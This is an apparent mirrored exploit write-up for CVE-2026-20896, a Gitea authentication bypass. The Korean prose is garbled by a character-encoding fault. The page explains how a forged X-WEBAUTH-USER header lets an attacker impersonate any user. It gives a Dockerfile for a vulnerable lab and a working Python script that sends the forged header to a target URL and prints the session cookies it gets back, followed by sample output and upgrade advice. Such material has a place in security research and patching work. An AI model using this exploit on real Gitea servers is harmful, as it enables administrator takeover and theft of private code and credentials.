## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JUDGEDBYKIRA-CVE-2026-20896-GITEA-AUTHENTICATION-BYPASS
# CVE-2026-20896 - Gitea β€1.26.2 μΈμ¦ μ°ν
# 1\. Giteaλ 무μμΈκ°?
> Giteaλ μ‘°μ§κ³Ό κ°λ°μκ° μμ€ μ½λ μ μ₯μλ₯Ό κ΄λ¦¬νκ³ , μ΄μλ₯Ό μΆμ νκ³ , λ³κ²½ μ¬νμ κ²ν νλ©°, μννΈμ¨μ΄ νλ‘μ νΈμμ νμ
ν μ μκ² ν΄μ£Όλ κ²½λ μ€νμμ€ **Git νΈμ€ν
νλ«νΌ** μ
λλ€. **GitHub** λ° **GitLab** κ³Ό κ°μ νλ«νΌκ³Ό μ μ¬ν κΈ°λ₯μ μ 곡νμ§λ§ **μ체 νΈμ€ν
μ΄ κ°λ₯νκ³ ν¨μ¨μ μ΄λ©° μ μ§ κ΄λ¦¬κ° μ¬μ΄** κ²μ΄ νΉμ§μΌλ‘, μ½λμ κ°λ° μΈνλΌμ λν λ ν° ν΅μ κΆμ μνλ μ‘°μ§μ μ ν©ν©λλ€.
# 2\. μ·¨μ½μ μ€λͺ
> CVE-2026-20896μ **곡μ Gitea Docker μ΄λ―Έμ§μ μ¬κ°ν μΈμ¦ μ°ν μ·¨μ½μ ** μ΄λ©°, **CVSS 9.8(Critical)** λ±κΈμ λ°μμ΅λλ€. **1.26.2** λ₯Ό ν¬ν¨ν μ΄ν λ²μ μ Gitea Docker μ΄λ―Έμ§μ μν₯μ λ―ΈμΉ©λλ€. κ·Όλ³Έ μμΈμ μμ νμ§ μμ κΈ°λ³Έ ꡬμ±μΈ `REVERSE_PROXY_TRUSTED_PROXIES = *`λ‘, μ΄λ‘ μΈν΄ Giteaκ° λͺ¨λ IP μ£Όμμμ μ€λ 리λ²μ€ νλ‘μ μΈμ¦ ν€λλ₯Ό μ λ’°νκ² λ©λλ€. 리λ²μ€ νλ‘μ μΈμ¦μ΄ νμ±νλ κ²½μ°, μΈμ¦λμ§ μμ μ격 곡격μλ μμ‘°λ `X-WEBAUTH-USER` ν€λλ₯Ό μ 곡νμ¬ Giteaκ° κ³΅κ²©μλ₯Ό μ§μ λ μ¬μ©μλ‘ μ·¨κΈνλλ‘ λ§λ€ μ μμ΅λλ€. νΉν κ΄λ¦¬μλ₯Ό μ¬μΉνλ©΄ λΉλ°λ²νΈλ μ ν¨ν μΈμ¦ ν ν° μμ΄λ μμ ν κ΄λ¦¬μ μ‘μΈμ€ κΆνμ μ»μ μ μμ΅λλ€.
> μ μ¬μ μν₯μ **μ¬κ°** ν©λλ€. Giteaμ λν κ΄λ¦¬μ μ‘μΈμ€λ λΉκ³΅κ° μμ€ μ½λ μ μ₯μ, μ격 μ¦λͺ
λ° CI/CD λΉλ°(secrets)μ λ
ΈμΆν μ μμΌλ©°, μ μ₯μ, SSH ν€, μΉν
λ° κΈ°ν 보μμ λ―Όκ°ν μ€μ μ μμ μ νμ©ν μ μκΈ° λλ¬Έμ
λλ€. μ΄ μ·¨μ½μ μ μν₯μ λ°λ Docker μ΄λ―Έμ§λ₯Ό 리λ²μ€ νλ‘μ μΈμ¦κ³Ό ν¨κ» μ¬μ©νλ λ°°ν¬ νκ²½κ³Ό νΉν κ΄λ ¨μ΄ μμΌλ©°, Giteaμ μΌλ°μ μΈ λΉλ°λ²νΈ μΈμ¦ λ©μ»€λμ¦μ λ¨μν κ²°ν¨μ΄ μλλλ€. Giteaλ **λ²μ 1.26.3** μμ μ΄ λ¬Έμ λ₯Ό ν΄κ²°νμΌλ©°, κ΄λ¦¬μλ μμ νμ§ μμ μμΌλμΉ΄λ μ€μ μ μμ‘΄νμ§ λ§κ³ ν¨μΉλ μ΅μ 릴리μ€λ‘ μ
κ·Έλ μ΄λνκ³ λ¦¬λ²μ€ νλ‘μ μ λ’° ꡬμ±μ κ²ν ν΄μΌ ν©λλ€. λν λ
ΈμΆλ Gitea μΈμ€ν΄μ€λ₯Ό λμμΌλ‘ ν μ
μ© μλκ° λ³΄κ³ λμ΄ μ μν λμμ΄ νΉν μ€μν©λλ€.
## CWEs
* CWE-284 β λΆμ μ ν μ κ·Ό μ μ΄.
## TTPs
* T1078 (μ ν¨ν κ³μ )
* T1190 (κ³΅κ° μ ν리μΌμ΄μ
μ
μ©)
# 3\. λ© κ΅¬μ±
> λ€μ **Dockerfile** μ μ¬μ©νμ¬ μ·¨μ½ν λ²μ μ **Gitea**(μ΄ κ²½μ° **1.26.2** λ²μ )λ‘ **Docker 컨ν
μ΄λ** λ₯Ό μ€νν©λλ€:
root@kitploit:~
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email some-email@example.com \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
> κ·Έλ° λ€μ λ€μ λͺ
λ Ήμ΄λ₯Ό μ¬μ©νμ¬ Docker 컨ν
μ΄λλ₯Ό λΉλν©λλ€:
root@kitploit:~
docker build -t gitea-cve-2026-20896-lab .
> λ§μ§λ§μΌλ‘ λ€μ λͺ
λ Ήμ΄λ₯Ό μ¬μ©νμ¬ Docker 컨ν
μ΄λλ₯Ό λ°°ν¬ν©λλ€:
root@kitploit:~
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
# 4\. κ°λ
μ¦λͺ
(PoC)
> Gitea μΈμ€ν΄μ€μ μ‘΄μ¬νλ μ¬μ©μμ μ΄λ¦μ μκ³ μλ€λ©΄ `X-WEBAUTH-USER: username` ν€λλ₯Ό μ
μ©νμ¬ ν΄λΉ μ¬μ©μλ₯Ό μ¬μΉν μ μμ΅λλ€. μ΄ λ©μμλ **jbkira** λΌλ μ¬μ©μλ₯Ό μμ±νμΌλ―λ‘, μλ₯Ό λ€μ΄ **BurpSuite** μ κ°μ νλ‘μλ₯Ό μ¬μ©νμ¬ Gitea λ©μΈ νμ΄μ§μ λν μΈμ¦λμ§ μμ μΌλ° μ κ·Όμ μΊ‘μ²ν ν λ€μ ν€λλ₯Ό μΆκ°ν κ²μ
λλ€:

> `X-WEBAUTH-USER` ν€λλ₯Ό ν¬ν¨νμ¬ ν΄λΉ μμ²μ μ λ¬νλ©΄, λΈλΌμ°μ μμ Gitea νμ΄μ§μ λ€μ μ μνμ λ **jbkira** μ¬μ©μλ‘ **λ‘κ·ΈμΈ** λ κ²μ νμΈν μ μμ΅λλ€. νμ§λ§ νμ κ·Έλ° λ°©μμΌλ‘ λμνλ κ²μ μλλ―λ‘, 곡격μ μννμ¬ **λμ μ¬μ©μμ μΈμ
μΏ ν€λ₯Ό νμ·¨** νλ **PoC μ€ν¬λ¦½νΈ** λ₯Ό μ μνμ΅λλ€. νμ·¨ν μΏ ν€λ₯Ό λΈλΌμ°μ μ 볡μ¬νμ¬ λΆμ¬λ£μΌλ©΄ λμ μ¬μ©μλ‘ μ κ·Όν μ μμ΅λλ€.
# 5\. μλνλ PoC μ€ν¬λ¦½νΈ
> **μΈμ¦ μ°ν(Authentication Bypass)** κ²°ν¨μ μ
μ©νμ¬ **λμ μ¬μ©μ** μ **μΈμ
μΏ ν€λ₯Ό νμ·¨** νλ Python μλν PoC:
root@kitploit:~
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
βββ β β βββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ
β β β β β β β β β β β β β β β β β β β β
β β β ββββ ββββ β β β β ββββ ββββ β β β βββ ββββ ββββ
β β β β β β β β β β β β β β β β β β
βββ β βββββ βββββ βββ βββββ βββ βββββ βββ βββ βββ βββ
""")
print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
banner()
args = argparse_setup()
attack(args.url, args.target_user)
if __name__ == "__main__":
main()
> μ¬μ© μμ:
root@kitploit:~
βββ(kaliγΏjbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
ββ$ python3 poc.py -u http://localhost:3000 -t jbkira
βββ β β βββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ
β β β β β β β β β β β β β β β β β β β β
β β β ββββ ββββ β β β β ββββ ββββ β β β βββ ββββ ββββ
β β β β β β β β β β β β β β β β β β
βββ β βββββ βββββ βββ βββββ βββ βββββ βββ βββ βββ βββ
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.
[+] Status code: 200
[+] Cookies retrieved for user jbkira:
i_like_gitea = e12680e9c4e6e894
lang = en-US
# 6\. μν μ‘°μΉ
> **CVE-2026-20896** μ λν κΈ°λ³Έ μν μ‘°μΉλ Giteaλ₯Ό **1.26.2 μ΄νμμ 1.26.3 μ΄μμΌλ‘ μ
κ·Έλ μ΄λ** νλ κ²μ
λλ€. 1.26.3μ μ΄ μ·¨μ½μ μ λν 보μ μμ μ΄ ν¬ν¨λμ΄ μκΈ° λλ¬Έμ
λλ€. μ¦μ μ
κ·Έλ μ΄λκ° λΆκ°λ₯ν κ²½μ°, κ΄λ¦¬μλ `REVERSE_PROXY_TRUSTED_PROXIES`λ₯Ό `*` λμ **ν©λ²μ μΈ μΈμ¦ 리λ²μ€ νλ‘μμ IP μ£Όμ λλ μλΈλ·λ§** ν¬ν¨νλλ‘ λͺ
μμ μΌλ‘ ꡬμ±νκ³ , μ λ’°ν μ μλ ν΄λΌμ΄μΈνΈκ° Giteaμ HTTP ν¬νΈμ μ§μ μ κ·Όν μ μλλ‘ ν΄μΌ ν©λλ€. μ΄λ `ENABLE_REVERSE_PROXY_AUTHENTICATION=true`μΈ κ²½μ° νΉν μ€μν©λλ€. μ΄ μ·¨μ½μ μΌλ‘ μΈν΄ μ λ’°ν μ μλ μμ€κ° `X-WEBAUTH-USER`λ₯Ό μ£Όμ
νμ¬ κΈ°μ‘΄ μ¬μ©μλ₯Ό μ¬μΉν μ μκΈ° λλ¬Έμ
λλ€.
# 7\. ν¬λ λ§
> μ·¨μ½μ μ λ°κ²¬νκ³ κ³΅κ°ν Ali Mustafa @rz1027λκ» ν¬λ λ§μ λ립λλ€.